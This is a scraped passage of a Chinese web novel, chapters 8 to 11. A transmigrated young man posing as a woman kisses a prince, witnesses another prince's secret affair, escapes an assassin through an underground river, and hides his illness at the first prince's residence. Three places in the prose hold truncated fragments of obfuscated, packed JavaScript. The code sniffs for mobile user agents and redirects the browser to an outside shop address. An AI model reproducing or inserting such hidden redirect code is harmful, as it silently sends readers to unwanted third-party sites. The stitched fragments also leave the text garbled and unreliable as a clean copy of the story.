初见薛故就知道他是藏在骨子里的骄矜倨傲、桀骜不驯之人,收到那一纸退婚书,说不定会恨一辈子他的绝情且势利。 现在抚摸他一巴掌,还说他“恶心”,更是摧毁他的自尊心,薛故不可能不生气。 可是,自己后面还有一堆精分行为该怎么完成? 8. 僭越 月挂中天,草丛虫声绵密,假山外的李胥、黎姝两人洽谈的声音戛然而止。 沈幼青走得匆忙,临走前忘记携上手炉,湿冷的风拂来几绺凉意,他控制不住地颤抖了几下。 薛故会错了意:“你在害怕?” 覆了一层薄茧的指腹捋过沈幼青额前遮挡的碎发,带来一丝痒意。 沈幼青好想说:打人别打脸。见薛故没有动手的意思,他咬着下嘴唇,把欲要解释的话尽吞了下去。 他没生气? 与薛故相处六七年,沈幼青有时候是能分辨出来薛故生气与否。 他狠下心,踮起脚蜻蜓点水般碰了一下薛故的嘴唇,手指微微蜷曲着,无措地不知作何反应。 空气中响起两道抽气声。 薛故喉结滚动,黑眸在月光映衬下,熠着微光。 沈幼青低头看着鞋面:“我不喜欢世子,我只喜欢你。” 啊啊啊啊太羞耻了! 系统是怎么生成这么一句让人分外难堪的话的。薛故肯定不信,只是,他过不去自己那道关。 踩过树枝的咯吱声此时格外清晰可闻,沈幼青偏过头,看见李胥正站在不远处的石凳边瞠目结舌、面容扭曲地望向这边,旁边女主黎姝也掩唇愕然,惊诧万分。 两人齐齐瞳孔地震。 李胥只知道沈幼青吩咐自己盯紧他,时刻跟着他配合做任务,但他从未想过是这么个……嗯……不堪入目的任务。 男人和男人怎么能亲嘴呢。 他写的是后宫小说吧,怎么变成绿江搞基文学了。 李胥收起直男震撼,胸中不由得涌起同情的情绪。怪不得沈老弟跟自己摊牌时的眼神那么无助,原来如此啊原来如此。同时又不免敬佩,沈老弟敬业程度恐怖如斯! 他想拉住沈幼青,跟他说,乖,这任务我们不做了,早知穿书系统如此狠毒,让我们穿书的跟男人xxoo,那还不如永远留在这里,不回去了! 黎姝呼吸急促,原以为不受宠的小姐是最近被京城人热议的沈家小姐便罢了,眼前又是什么情况? 在现未婚夫面前亲前未婚夫,沈家小姐真乃吾辈楷模。 她好想继续待下去,看后续的发展,可是不到半晌,定王的脸色变得好难看。 “见过定王殿下,家中仆人很快要过来找了,黎姝先告辞了。”黎姝福身。薛故没有回应她,她边走边不舍地一步三回头。 平日里读的话本里的故事都不及身后人故事精彩半分! “恭喜宿主出色地完成惩罚任务,接下来,宿主可以休息一段时间,静待下一个任务的到来。” 系统的声音传来,左耳刚进,右耳即出,触及薛故的视线时,头皮微微发麻,沈幼青顿时神色一紧。 薛故他好像生气了。 坏了。刚刚抚摸一巴掌,说他恶心没什么反应,现在亲一口反而生气了。 薛故笑了一声,一把攥住他的手腕,力道之大引得沈幼青腕处钻心的疼。 薛故眼底没有半分温度,沉声道,“我当沈小姐一反常态,原是——”偏首睨了一眼发愣的李胥,又落回沈幼青的脸上,语调透着嘲弄,“因为武安侯世子。” “我?” 李胥下意识上前一步。 虽然听不懂薛故说什么,但他看见自己笔下的男主在自己面前尚觉得亲切,好歹也有过码字两年夜夜相伴的情谊,于是露出一个友好的笑容。 只是这份情谊,男主好像并没放在眼里。 “因为一个蠢货,演一出卑俗拙劣的戏码。”薛故的声音像从喉咙硬挤出来的,简单一句话令听者遍体生寒。 又我? 李胥一时语塞。 沈幼青摇了摇被他攥紧的手腕,蹙眉细声道:“手疼。” 薛故指尖微动,像是如梦初醒般放开他的手,光滑温热的触感停留在指尖,在他心口烫了一个洞,竟带来一丝痛楚。 沈幼青揉了揉手腕,心想,薛观南这是想拧断他的手臂让他变杨过吗?淦,好毒的心肠,不愧是起点文第一狠男主。小说里前后花了几年杀光皇室,只剩下他一人,无亲无友,看起来一整个孤寡命,却有美女如云的后宫。 呸,低俗! 沈幼青悄悄腹诽着,面上摆出无辜懵懂神色,“殿下何出此言,我方才所说所做,都出自本心,和世子无关。” 他是真不知薛故因何生气,大抵是觉得在李胥面前亲他辱没了他的身份。 “本王看起来很蠢?”薛故嗤了一声,接着冷声道,“无论是否出自本心,也与本王无关,下次若再对本王做出僭越行为,到时断的不只是手臂。” 沈幼青后背一僵,原来刚刚薛故真的想卸了他的手臂。 这还试探个什么鬼啊,薛故根本不喜欢女装的他! 好自为之吧,桃金说的那些,放在他和薛故身上根本不成立。 薛故见沈幼青眸中一闪而过的失落郁闷,呼吸一滞,下一瞬背过身去,迈步离开。 只是他耳力太好,哪怕走远了也能听到两人嬉笑打闹的声音。 果不其然,沈幼青适才敷衍的一吻,只是想利用他让那蠢货吃醋。 他还在骗他,可他差点当真了。 “哈哈你真的是gay吗?” “哈你个头啊!你不是说他喜欢女装的我吗?这小说真是你写的?” “怎么不是我写的了?你死的那章我可以再写一遍给你看看。” 两人互相往对方心窝里戳,怒火猛地在两人之间燃起。 沈幼青呼出一口气,虽然气得不行,但还是准备停战,“算了,不跟你吵。我觉得有问题,剧情发展到现在很不对劲,你不觉得吗?” 李胥摸着下巴,正色道:“是有点,薛故打完仗归京,比我写的还要早。而且,薛故身边怎么一个妹子都没有?明明在军营里我安排了好几个不同风格的美人……” 沈幼青翻了个白眼:“你仔细回想一下你穿过来之前写的番外里,具体什么情节包括细节都一一写给我看看。” “还有,你不觉得他对我有敌意吗?是不是因为我抢了他未婚妻,让他颜面扫地?可我明明写的是,薛故最初并未将矛头对准武安侯世子,只是后来武安侯世子一直与他作对,他才起了杀心。” “嗯嗯嗯对对对。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427127|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈幼青不想在皇宫逗留太久,喊来柳银,旋即回去了。 没有系统的打扰,时间过得飞快。一眨眼告别了春桃吐蕊、杨柳抽芽的早春,铺遍天下的新绿变得浓郁。 沈幼青褪去柔软暖和的披风,换上潇洒飘逸的男装,是京城新流行的款式,端得是清隽秀美的少年公子模样。 桃金在旁边眼睛看直了。 好久没看见少爷穿回男装,乍一看简直惊为天人。 之前少爷出去都会在脸上抹上炭粉,这次很坦然地几乎不加修饰,也不作掩饰,只是将眉毛描得更浓了一点。 “少爷看起来心情很好,可是就这样出去要是被发现了怎么办?” 沈幼青没想那么多。上次在庆功宴的试探让他明白,无论他是男的还是女的,薛故都不喜欢他。既然如此,自己何必隐藏得那么辛苦,扭捏作态,反而此地无银三百两。大雍国建立以来,民风开放,女子素来也有打扮成男子的模样出游。 他就算换回男装,单凭这张雄雌莫辨的脸,那些人也不会无故怀疑他的性别。 “无妨,没那么容易发现的。” 走在街上,酒馆的伙计热情洋溢地招揽生意,路过一家家飘出淡淡茶香的茶馆,拐个弯瞧见打铁匠捶打时铁刃冒出的红光,走到尽头即是胜仙阁。 胜仙阁,地如其名,快活胜神仙。名字取得脱俗,实乃上京城第一风月之地,处于城西最繁华的地段,不管是文人雅士还是酒肉之徒都爱光顾此处。 这里并非让人寻欢作乐的普通青楼,来这喝酒听小曲都被视为一桩雅事,但也不乏有来此处招妓一度春宵的。 沈幼青抬头望了一眼刻着“胜仙阁”扁方隶书的镂空镶金牌匾,雕花正门大敞,门前街道上车水马龙络绎不绝。 管事的一时瞧不出来沈幼青是男子还是扮作男子的女子,但穿着精致,不用猜都知道是养尊处优的金枝玉叶,绝不能得罪。 她上前道:“不知公子来此想找些什么乐子呢?” 沈幼青抛去几锭银子,“听个曲儿,要最近的雅间,再来一壶天仙醉。” “好嘞,公子真识货,天仙醉是我们胜仙阁最好的酒,喝过的就没有说不好的。” 沈幼青点点头,大步迈进去。 他懒散地躺在雅间里的榻上,透过窗观赏节目,时不时品上一口天仙醉,简直不要太爽。 如果能一直这么享受下去,无痛完成所有任务该多好。 室内温度正好,不闷热干燥也不散发凉意,沈幼青舒服地眯起眼睛,不知不觉睡着了。 直到“嘀”的一声在他脑中炸开,沈幼青死死用毯子捂住耳朵,但声音还是响彻大脑。 “即将触发一个隐藏剧情点,请宿主立刻赶到胜仙阁的漱玉池,请宿主立刻赶到胜仙阁的漱玉池!积分隔日结算。” 沈幼青睁开眼:“原著出现过这个隐藏剧情吗?” “未曾出现过,但触发后会有积分奖励。” 沈幼青只觉不妙,能拿积分奖励的会是什么好事? 但也顾不得那么多,他快速起身,换好鞋子,将杯中的天仙醉一口闷下,出了雅间。 9. 追杀 沈幼青走到阑干拐角处,瞥见掌事的神情严肃,正口头教训打扮华丽的女子,“收好你的小心思,来的是位大人物,得罪不得。” 沈幼青避开身子,往后退了一步。 女子垂着头,期期艾艾地答着“是是”。 掌事的正颜厉色地吩咐其他奴仆:“今日来了贵客,包下了西楼,好好招待,守好漱玉池那边,不准有人过去。” 沈幼青暗自思忖着,难道隐藏剧情跟这位贵客有关? 他脚步方向一转,凭借之前多次来胜仙阁游玩的记忆,换了条鲜少有人走但更为曲折的路,准备在奴仆到达之前先一步赶去漱玉池。 漱玉池是西楼底供人观赏且半封闭的人工景池。一条石拱桥横贯两岸,距离不是很远,桃花开得正好,披红吐艳,景色宜人。 沈幼青歪头打量片刻,决定躲在石像后面,一个不容易被发现的死角。 不知等了多久,沈幼青百无聊赖地撑头打着呵欠,再度犯困的时候,一阵脚步声传入耳中。 “殿下——” 沈幼青一个激灵清醒过来。 什么殿下? “殿下不可。”脆生生的男声透着焦急,仔细听来有一丝熟捻,像在哪听过。 “有何不可?几个阉人,本王想杀便杀了!”男人怒火中烧,声音不自觉抬高。 沈幼青不敢伸出头去看,但第二道男声也有着几分熟悉。这两人,他也许都见过。 “奴才也是殿下口中的阉人,殿下也是想杀便杀吗?” 被唤作“殿下”的男子停顿半晌,似泄了火气,“你如今都敢跟本王顶嘴了。” “奴才不敢。” “都是本王惯得你,若是别人跟本王说话不知轻重,早就死几百次了。” “奴才……奴才知错。”说罢,双腿跪了下去。 “给我站起来。” 两人吵架也算隐藏剧情?沈幼青正无奈,忽然窸窸窣窣的衣服摩擦声音响起,细碎黏腻的水声灼烫了沈幼青的耳廓。 这就亲上了?! 所以,某个皇子和不知名太监,是一对?这就是系统想让自己撞见的隐藏剧情? 李胥你大爷的,偷偷写了对男同还死死捂着不说啊。 但系统未曾响起“隐藏情节触发成功”,意味着这个任务还没有结束。 沈幼青缓慢挪动酸麻的腿,用胳膊肘支撑起上半身,悄然探出头。 一看吓一跳。被唤作“殿下”的男子分明就是庆功宴那天出现,和薛故敌对的反派之一,二皇子薛咎,封号肃王,原著里死亡原因不明。 而攀着薛咎手臂,倚坐在石桌上的秀气少年,正是入宫那天恰巧碰见的被两个太监欺负的小太监。 原来那小太监脖颈上的暧昧红痕并非他之前想象的那样,而是眼前之人的“杰作”。 两人越亲越情动,衣衫半褪,喘息声在静谧的园中异常清晰。 沈幼青看也不是,不看也不是。 两人沉浸时间约有一柱香后,沈幼青胳膊实在没力气了,一手抓着石像,蜷缩的腿往后伸,欲换一个更为舒适的姿势,只是事出意外,石像被他的力气推动了。 ……这是空心石像。 坏了。 沈幼青默默祈祷,亲就好好亲,千万不要注意到我,千万不要注意到我…… 但明显,事与愿违。 “谁?”薛咎怒喝一声,利剑出鞘的声音随之响起。 林安吓得打了个哆嗦,背过身去把上衣拉上去,收拾整齐,盖住大大小小的红痕。 薛咎拔出剑,一步一步向石像走去,目光狠辣,打算一击必杀。 石像那边登时冒出个青衣男子的身影,“咻”得一下还没看清像泥鳅似的滑溜溜钻入池中,激起大片水花。 “来人,封锁胜仙阁,抓到跳水潜逃的刺客,直接杀了。” “殿下,不用带回来盘问就直接杀了吗?”林安低声问道。 “不用,他必须死。” 幸好小说里提过,拱桥下的暗河通往胜仙阁外与城南相连的某一条街道岔口的河流。 沈幼青大学学过游泳,水性比常人好。他奋力游着,穿过河道缝隙,视野一片昏暗,只可惜身体太弱,没多久体力不支。 但人的潜力在危难关头是可以被激发出来的,他不想死,深知一旦停下面临的是死亡的威胁,哪怕再累,也不敢松懈一点。 直到光亮映入眼帘,沈幼青就像跑八百米最后一百米时,速度不经意放慢了。 他浮出水面,此刻天空半边霞彩余晖逐渐燃尽,家家户户灯火通明,吃着晚饭,路上行人很少。 沈幼青费力爬到石阶上,顾不得浑身湿透的衣服,随手擦把脸继续走。 踉跄了几步,眼前一黑,双腿一软,他跪倒在街道中心,上气不接下气,肺部被针扎了得疼痛起来,胸口剧烈起伏着。 “叮——恭喜宿主触发隐藏剧情,请再接再厉!” 一辆表壁错彩镂金的华贵马车缓慢行驶,车夫手轻轻一挥,马鞭抽在马背上,骏马瞬间驻足,车夫回头对帘子后的人禀报。 “殿下,有人挡住了路,是否需要赶走。” “嗯。” 马车迟迟未动,薛故按了按眉心,不耐地掀开帘子。 马夫推了一把地上的人,意图喊醒。沈幼青听见有人喊他,意识稍稍回笼。 不行,不能停在这儿,很快那二皇子便要派人找过来了。那条暗河,薛咎稍加询问便立刻知晓通往何处。 沈幼青摇摇晃晃地站起身来,扭头看见了马车上的薛故。 水滴沿着他乌黑的发梢一串串滴落,湿透的青色薄衣紧紧贴在肌肤上,脚下湿了大块,石板路的凹陷处聚起一滩水。 沈幼青面色苍白,濡湿的长睫沾着水珠,双手交织在腹前,身体控制不住地颤抖。 薛故遥遥望着他,眉头一皱。 思及自己还穿着一身男装,沈幼青此刻明白了什么叫“前有狼后有虎”。 薛故居高临下的眼神恢复了第一次见沈幼青时的漠然,像不认识他,开口道:“挡在路中间作甚,还不滚开。” 沈幼青呼吸一滞,忙不迭低下头:“是,小的这就走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427128|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他刚迈开腿,身后传来那人的声音。 “站住。” 一下子让我滚开,一下子让我站住,是泥人也有脾气的。沈幼青忿忿地想。 他置若罔闻地继续向前走。 “沈、幼、青。” “站住。” 薛故面色不悦。 “不知殿下所欲何为,有什么事下次再说吧,我身体不适,先回去了。”沈幼青忍着头痛,额前渗出细密的冷汗,说话也气若游丝。 只是下一刻,再也撑不住,身体摇摇欲坠,黑暗快速吞没了他,眼前的光景只剩昏天地暗。 闭眼前,他仰看着薛故的下颌,薛故嘴唇张合,他听不清…… 再度醒来,他嗅到淡淡的苍兰香,身下的柔软,以及被四周包裹住的温暖,一瞬间竟让他以为回到了家里。 “醒了?” 沈幼青看了下身上完好的衣服,松了一口气:“劳烦殿下在这里停下吧。”他自然不敢让对方把自己送回沈府。 “这是通往定王府的路,离太傅府足有二十公里。”薛故翻看手里的兵书。 定王府离太傅府较远,一个偏西,另一个偏东,走的话要三四个小时。 沈幼青顿了顿,止住了话头。 让他现在走回去,被薛咎的人追杀不说,要是力竭死在路上也是可能的。身上湿哒哒的衣服和头发被马车上的炭炉烘了个半干,现在下去,冷风一吹,就是找死。 再者,躲在薛故那儿,等风声小点回去,兴许能保命。 干净整洁的马车上水迹斑驳,沈幼青心下生出愧疚,用袖口擦了擦板面。 薛故疑惑的目光投来。 沈幼青讪笑道:“脏了,我会擦干净的。” “不用。” 沈幼青“哦”了一声,一动不动地倚在车壁上发呆。 曾几何时,无论薛故对他什么态度,理或者不理,他都能笑嘻嘻地同对方说话,现在几年后,那种陌生感像深谷间横隔一道天堑,气氛只余尴尬。 目前的薛故看起来还比较正常,除了生气,大部分时候比较沉静,相比三年前,竖起了更多尖刺,看起来拒人千里之外,。 沈幼青既希望薛故现在喜欢他,又庆幸薛故并不喜欢他,觉得自己有点无耻。 他接近薛故就带着目的,几年一直粘着他,欲惹他生厌也是带着目的,如果薛故不喜欢他,甚至厌恶他,那自己与他解除婚约,薛故肯定很乐意。 可是所有进展与他所愿背道而驰。 薛故讨厌他是应该的。 可是,如果薛故不喜欢他,他还能活在完成系统要求的所有任务之前吗? 沈幼青脑子一团乱,干脆不去想了。 “你不舒服?”薛故不经意问了一句。 确实不舒服,头脑昏沉,膝盖手腕痛感时而强烈,但尚在沈幼青能忍受的范围内。 但他深知自己这次不能再睡去,一觉醒来被人换了衣服就惨了,身份暴露的后果不比被薛咎逮到好多少。 “没有。”沈幼青摇头。 他不敢看薛故的眼睛,怕被一眼看穿。 10. 梦魇 走进定王府,夜已深,庭院之中除了看家护院之人,皆已休息。 沈幼青紧紧跟在薛故后面,一路走来府内景象尽收眼底,画阁朱楼、重檐游廊,比太傅府配置的规格高了几个层次,不禁艳羡。 没留意前方,“砰”的一下撞到结实的后背,薛故背部顷刻出现一道湿痕。他停在那儿,转过身,语气不善:"你打算跟进来?" 沈幼青眨了眨眼:“不行吗?” 薛故顿了片刻,道:“前面是本王的居所。” 沈幼青猛地反应过来,他在薛故的眼里还是女子,贸然进男子的住处确实不妥。 他的手指刮了刮脸颊,问道:“那我去哪?” “出去等着。” 沈幼青:“?”薛观南到底是不是人?他浑身湿成这样,大晚上的让他在外面等着。 他又仔细回想,这人确实没有说过同意让他留宿,自己倒是自作多情了。以前他虽不是完全出自真心待薛故好,但也没苛待过他,相反,嘘寒问暖还是解衣推食,他样样没落,简直是体贴入微,关怀备至! 薛故对他的态度却两极反转。不仅凶他,还戏弄他,真是岂有此理! 但如今人在屋檐下,不得不低头。 沈幼青陷入悲愤的情绪,自然尽数落入薛故眼中。 薛故眼底掠过笑意,很浅很淡,甚至连自己也没发现。 沈幼青偷偷瞪他一眼,转身快步走了出去。 薛故住的庭院可真大,沈幼青想着,自己哪一天若是要死了,一定要死在薛故住的地方,爬也要爬过来,坏他这里的风水,然后化作厉鬼日日夜夜骚扰恐吓。 沈幼青不禁捧腹。 “公子,请随我来吧。” 沈幼青抬起头,眼前站了位梳了垂髻的妇人,提着黄色灯笼,笑容温婉。 雁娘,原著中曾在宫中服侍过薛故母亲,战乱后与薛故母亲走散,直到前段时间薛故偶然找到她。 雁娘带他去了客人居住的厢房,打了一桶热水,递上一套干净合身的男子衣衫,一切安排妥当。 沈幼青洗完澡出来,案上摆着一碗姜汤,还有热乎乎的点心。 他咽下口水,决定收回方才诅咒薛故的那些话。 不过雁娘似乎并不知道自己的身份,这样也好,不然哪天就传出去,被戳脊梁骨一辈子:“惊!武安侯世子未婚妻住进前未婚夫定王府为何故,是道德的沦丧还是人性的扭曲……” 沈幼青思绪转得飞快,又飘到家里,桃金见他晚上没回来,定会担心,还不敢立刻上报沈太傅。 慢慢地,他陷入沉睡。白天太过劳累,晚上梦魇缠身。 昏暗的牢狱内蛛网丛生,墙壁和柱子上多道抓痕,地上湿嗒嗒的,角落处苔藓密布。 烧红的炭和铁钳,大堆叫不出来名字的刑具在地面上摊开,令人头皮发麻。 沈幼青有不详的预感,光速闭眼,可梦就是这样,哪怕闭眼也会强制让他看见。 一个人,哦不,一条血人,完全辨识不出原本的样貌,身上好多个血窟窿,靠在斑驳的墙面上,像破风箱似的艰难呼吸着,疼痛到极点。 “哈哈哈哈哈哈哈——” 他忽然大笑起来,又扯到了痛处,笑着笑着七窍开始流血。 鬼啊! 沈幼青想大叫,但发不出来声音。 “薛观南啊薛观南,你以为你赢了我吗?是你输了,你输得彻头彻尾,像个可怜虫一样,每天来这里摇尾乞怜,就为了那个人的一点消息。” 室内微弱的烛火跳跃着,铁门外之人脸部半边光影闪烁变幻,神情莫测。 “早说了,他死了,他死了!你怎么不信呢哈哈哈哈——”那人笑声愈发癫狂。 薛故身姿笔挺,身上一尘不染,着鸦青色锦袍,上面绣有金丝缀成的龙图腾。 这是,已经登上帝王之位了? 沈幼青想看清薛故的脸,但梦境的视角偏偏大多数时候对着血人。 “他在哪儿?”薛故不为所动地沉声道。 “你不是看见了吗,当时地上碎成一滩烂泥的……”话未说完,继而发出一阵令人牙酸的惨叫声,“啊啊啊啊—” 幸好,这次视角很贴心地转向薛故的脸。 他看着对方的惨状,眸中平静无波,只是周身萦绕尸山血海中浸染出来的杀气,沈幼青看一眼都有些发怵。 镜头再转,静谧的雪夜,长靴踏上雪地,闷闷的脆声不断响起。 各个宫殿檐下挂着喜庆的灯笼,橘红色的光照亮四周,簌簌坠落的雪花熠熠生辉。 男人所到之处,宫女侍卫皆双腿一跪,不敢吱声,生怕引人不快。 薛故顶着满头白雪,进了殿,却没顾得去擦,手里提了一壶酒,瘫坐在上等的紫檀椅上,雪水顺着发须滴落,眼睫处雪粒将化未化,乍一看还以为睫毛是白色的。 烛光下眼瞳泛着的茶色甚是明显,但里面写满疲惫和迷惘。 沈幼青不解。 他不是当上皇帝了吗,怎么一副人生失意、消沉厌世的样子? 是因为那血人口中死掉的人? 不应该啊,原著里薛观南女人之多,死一个两个都不带点反应的,最多觉得可惜。莫非是原著女主死了? 沈幼青又念及之前让李胥把番外的剧情全部说给他听,但一直以来,李胥都推辞着说不记得了。 原著番外到底发生了何事,等回了沈府,定要好好向李胥盘问清楚。 殿堂空荡荡的,外面疾风拍打着窗户,风声呜咽,薛故一人坐在中间,显得格外孤寂凄凉。 沈幼青啧啧几声:“那人说得真不假,都已经万人之上了,还扮作可怜虫模样,摆给谁看呢?” 下一瞬,他看见晶莹的水珠从他眼眶滑落,洇湿衣衫,很快消失不见。 沈幼青大吃一惊。 薛观南,哭了? 他认识他这么久,可从未见他哭过。 抑或是雪水流下来了? 沈幼青察觉自己突然有了形体,于是靠近,蹲在薛故旁边窥察着,觉得新奇极了。 薛故倚靠在靠背上,左手掌心朝上,挡住眼睛,半晌,一道破碎的哽咽声从喉咙中溢出,手中酒壶轰然落地,碎成数块。 沈幼青摸了摸胸口,仿若血流梗滞,不太舒服。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427129|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “薛观南,你——” “谁?”薛故蓦地睁开眼睛。 沈幼青刚还处于一种薛故竟能听见自己声音的困惑之中,尔后眼前光景天旋地转,再次一切归于黑暗沉寂。 “公子醒醒。” 沈幼青面色潮红,额前沁出细密的汗珠,手脚冰凉,蜷缩在被子里一动不动。 “您生病了。” 沈幼青甫一睁眼,站在床边的雁娘神色担忧,用手探了探他的额头,动作温柔,沈幼青迷蒙间喊了声:“雁娘……” 妇人面色惊诧,对沈幼青知道自己的名字的事感到意外。 “公子且等一炷香时间,妾身这就去请示殿下,让府里的大夫前来诊病。” 沈幼青意识模糊,听到“大夫”一词登时警觉,摇头道:“不用,不要喊大夫。” “府里的大夫医术高超,妙手回春,公子先歇息吧,会好起来的。” 妇人见他染上风寒,说着胡话,恐怕烧得不轻,不敢再逗留,立刻快步跨出门槛。 沈幼青还在喊着“不要”,喉咙又涩又疼,咳了几声,耗费大半体力。 不行,不能在这里被发现。 他犯的是欺君之罪,身份败露后,他是一死百了,可是沈家人怎么办? 已经走到这儿了,他不能功亏一篑。 沈幼青大脑昏昏沉沉,用仅剩的力气强撑着,艰难起身后,走路歪歪扭扭,站不直。 沈幼青扶着桌子,迈出几步被椅子腿绊倒,跌坐地上,疼得龇牙咧嘴。 这具破身体真是给他带来了巨大的麻烦。 爬起来后,刚靠近屋门,沈幼青听到脚步声,慌乱下掉头回去,躲进屏风后面的朱漆衣柜里。 柜子里什么东西也没有,刚好能塞进一个他。 “人呢?” 薛故盯着床面,被子掀开一角,此刻空无一人,被褥的褶皱以及温热昭示着之前睡在床上之人走得万分焦急。 雁娘惊讶地张开嘴:“适才还在这儿躺着的。” 薛故环顾一圈,走到屏风后面,目光最终锁在衣柜上。 他站定在衣柜前,“出来。” 紧接着雁娘惊喜的声音传来,“大夫来了。” 沈幼青躲在里面一声不吭,薛故略为烦躁地拧起眉心。 少顷,柜门从外面被打开了。 “你在里面做甚?” 沈幼青缓慢抬起头,从上而下看,惶惶不安的模样有几分可怜,干燥的嘴唇动了动,支吾着,“我不想看大夫,你让大夫走吧。” 雁娘焦心道:“公子说什么胡话,病成这样,怎能不看大夫?” 薛故看向雁娘,“雁娘,你先回去。” “是。”雁娘双手掌心朝下,微微屈膝福身,又看了一眼沈幼青,出去了。 “本王的耐心不是很好,你是自己出来,还是让本王施点强硬手段逼你出来。” 沈幼青咬牙道:“你杀了我,我也不出来。” 薛故的脸色瞬间变得极为恐怖,令人心生惧意。 沈幼青十指交叉,乞求道:“我真的不想看大夫,薛观南,算我求你。” 11. 让步 “你当这里是什么地方。”薛故压着一股怒火,背过身去,神情如淬了冰的利刃,“若是求死,就出去,别脏了定王府的地。” 沈幼青双手抱膝,克制不住的呜咽声从喉咙中泄出,肩膀微微颤抖。 薛故听到后面传来低低的哭声,背脊一僵,停在原处,半晌手指握成拳,捏得作响。 他早该知道沈幼青就是个麻烦,从小到大缠着他,跟着他,无端招惹他,让他陷入自作多情那般可笑的境地,说放弃就放弃,把以前种种当作儿戏。 他分明……他分明该恨他。 他恨他每次见到自己就像见到了瘟神,生怕避之不及。 他恨他食言,不给自己一点余地,草草送了封退婚信后,另与他人定亲。 他恨他总是若即若离,嘴上挂着的情情爱爱几分真几分假,让人分辨不清。 …… 薛故吩咐外面:“让大夫下去。” 沈幼青猛地抬头,两道泪痕挂在脸上,显得几分滑稽。 薛故居然退让了一步。 他不是在做梦吧? 好咯,不用死了。 沈幼青赶紧从衣柜里出来,跌在地上。 薛故视若无睹地绕开他走向书案处,从架子上抽出一张纸,研磨一会儿墨,睨了一眼刚从地上爬起来的沈幼青,说:“报你平常吃的药方。” 薛观南真是个大好人!(想杀他的时候除外) “殿下怎么知道药方我都记得?”沈幼青疑惑。 他自小身体差,容易生病,尤其是感染风寒,吃了太多次药,府里大夫开的药方来来回回都是那几样,他记忆力好,看几次就记熟了。 薛故顿了顿,随后握住笔,悬起手臂,听见了也没理会他。 沈幼青乖乖道:“桂枝、当归一两,连翘、甘草、白术各二两……” 薛故搁下笔,出去了。 之后一连三天,沈幼青都没见到薛故,想找他说话都没有机会。 但是薛故也不来见他,想出去两个守卫大哥挡在外面,说殿下吩咐过,病好了才能出去。 变相软禁一个手无缚鸡之力的人是什么意思? 虽然咸鱼日子很快乐,可是,他至今不归家,爹娘肯定以为自己失踪了,要是大张旗鼓地找他,不就暴露了那天撞破薛咎那事的是自己吗,肯定会查到自己身上的。 沈幼青这次病来得快,去得也快,三天后病已经好了大半。 阳光明媚,碧空如洗,本是在外晒太阳的大好时光,沈幼青在屋内来回踱步,看着院子外两个油盐不进的守卫大哥有些发愁。 沈幼青越想越觉得不能坐以待毙。 他大脑飞速运转,视线落到案上盛着药汤的黑釉瓷碗,想出一个绝佳计划。 * 定王府前堂。 “殿下最近风头太盛,最好避一避。薛咎他盯上你了,小心府上他的眼线。”楚砚抿了口茶,姿态放松悠然。 楚砚是薛故过继给柳贵妃所属世家子弟,当年柳贵妃被皇后扳倒,柳贵妃背后势力轰然倒塌,世家财物尽数充公,男子被赐死或是流放,女子沦为官妓,只剩下楚砚和一些培养的死士成漏网之鱼,逃过一劫。 薛故这些年让楚砚带领死士在江湖之中立足,建立宿月阁,不过几年名声鹊起,从各个地方的隐秘渠道接收消息进行交易。 是故,即便薛故这几年在边塞扎根,也能知晓上京城的消息。 薛故打了胜仗,继连收复好几座以前战败割给北羌的城池,北羌元气大伤,一蹶不振。圣上借封赏之名将他调回京城,给足赏赐,授予爵位,庆功宴也做足了表面功夫。只是,其中暗藏心思讳莫如深。 圣上不想让他脱离自己的控制之外,在他广得民心、培养自己的军队之前,抹杀一切地方势力独大的可能。 同时,越是声势浩大,越是能吸引全部火力。木秀于林,风必摧之。兴许,等利用他清剿完隐藏的威胁,薛冕就要秋后算账,卸磨杀驴。 薛冕从未想过把储君之位传给自己,不,没想过给四个皇子中任何一人。乐于看他们彼此斗得你死我活,供作消遣。 只是,薛冕未免太过自命不凡,不曾考虑过会有被放养的狼反咬一口的可能。 “近日肃王不知抽得什么风,在胜仙阁闹了一场,说被人刺杀。紧接着又派了一些人查你,莫非,此事与殿下有关?” 此时门外下人有要事汇报。 “进。” “禀报殿下,翠青苑的公子今日不知为何不愿吃药,奴才们送过去的一口未动。” 薛故手指无意识攥紧了杯身,眼皮一掀,道:“知道了。让他等着。” “公子?”楚砚见他神色不对劲,心中觉得怪异。 薛故毫无预兆抛了个问题,“你说,一个人讳疾忌医是何意?” 楚砚摇扇道:“若是男子,那便是有了隐疾。”说完忍不住笑起来,“至于女子嘛,肯定也有着不可告人的秘密,比如,偷偷怀了孩子。” “砰”的一声,茶杯重重落到案上,薛故的表情蓦地难看起来。 “闭嘴。” 楚砚不知哪里惹了眼前这人,嘶了一声,峰回路转,“怀了孩子绝对不可能!大抵是生了难以启齿的病吧。” 